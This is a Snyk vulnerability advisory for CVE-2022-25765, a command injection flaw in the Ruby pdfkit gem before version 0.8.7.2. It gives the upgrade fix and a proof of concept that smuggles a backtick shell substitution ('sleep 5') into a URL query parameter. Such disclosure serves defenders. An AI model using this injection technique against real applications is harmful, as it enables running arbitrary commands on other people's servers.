Command Injection Affecting pdfkit package, versions <0.8.7.2
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Test your applications- Snyk ID SNYK-RUBY-PDFKIT-2869795
- published 8 Sep 2022
- disclosed 14 Jun 2022
- credit Benoit Côté-Jodoin
Introduced: 14 Jun 2022
CVE-2022-25765 Open this link in a new tabHow to fix?
Upgrade pdfkit to version 0.8.7.2 or higher.
Overview
Affected versions of this package are vulnerable to Command Injection where the URL is not properly sanitized.
NOTE: This issue was originally addressed in 0.8.7, but the fix was not complete. A complete fix was released in 0.8.7.2.
PoC:
An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:
PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf
If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:
irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command
wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" -
=> nil
Calling to_pdf on the instance shows that the sleep command is indeed executing:
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf
# 5 seconds wait...
Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with "http":
PDFKit.new("http%20`sleep 5`").to_pdf